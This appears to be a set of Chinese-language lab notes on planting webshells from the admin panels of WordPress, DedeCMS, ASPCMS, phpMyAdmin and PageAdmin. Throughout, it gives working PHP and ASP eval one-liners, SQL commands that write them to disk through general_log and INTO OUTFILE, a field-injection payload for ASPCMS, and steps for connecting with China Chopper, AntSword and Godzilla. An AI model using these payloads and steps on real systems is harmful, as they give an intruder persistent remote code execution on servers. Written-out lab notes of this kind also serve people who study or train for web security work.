一、wordpass
1.后台修改模板拿webshell
进入后台:
外观-编辑-404模板-一句话木马
/wp-content/themes/twentyfourteen/404.php
菜刀连接:
2.上传主题拿webshell
将主题404.php替换
外观-添加主题
蚁剑连接
二、DEDECMS
1.通过文件管理器上传WebShell
进入后台-附件管理-文件式管理器
菜刀连接
2.修改模板文件拿WebShell
模板-默认模板管理-index.html-修改-添加一句话木马
生成-更新主页html-改为php-生成静态
http://127.0.0.1/DedeCMS/uploads/index.php
蚁剑连接成功
3.后台任意命令执行拿WebShell
模块-广告-添加-
代码:127.0.0.1/DedeCMS/uploads/plus/ad_js.php?aid=1
菜刀连接成功
4.sql命令行
系统-sql命令行
select "<?php @eval($_POST['cmd']);?>" into outfile "D:/phpstudy_pro/WWW/6.php"
菜刀连接成功:
三、 ASPCMS
1.后台修改配置⽂件拿Shel
点击 【扩展功能】--》 【幻灯⽚设置】 --》点击 【保存】 --》开启代理进⾏抓包
在抓取的数据包中修改 slideTextStatus 字段的值为以下代码并进⾏发包查看被修改的asp ⽂件内容..
1%25><%25Eval(Request (chr(65)))%25><%25
# 影响⽂件 /config/AspCms_Config.asp
开启日志保存状态: set global general_log='on';
修改⽇志的保存位置:set global general_log_file = 'D:/phpstudy_pro/WWW/666.php'
修改成功:
写入一句话木马:select'<?php eval($_POST["cmd"]);?>'
四、PHPMyadmin
1.通过日志文件拿shell
执行,查看是否开启:show global variables like '%general%';
开启日志保存状态: set global general_log='on';
修改⽇志的保存位置:set global general_log_file = 'D:/phpstudy_pro/WWW/666.php'
修改成功:
写入一句话木马:select'<?php eval($_POST["cmd"]);?>'
连接成功
2. 导⼊导出拿WebShell
判断mysql位置:
select @@datadir
猜测web路径:D:\phpstudy_pro\WWW
写webshell
select "<?php @eval($_POST[cmd]);?>" into outfile 'D:/phpstudy_pro/WWW/777.php';
连接成功:
3. 界⾯图像化GetShell
在变量这里搜索:
点击编辑:可以利用日志文件拿shell同实验一
五、 Pageadmin
1. 上传⽂件解压拿WebShell
利用哥斯拉-管理-生成,创建asp-压缩为zip
点击【⼯具】--》 【⽂件管理】--》 【功能菜单】 --》【上传⽂件】--》 【解压】
连接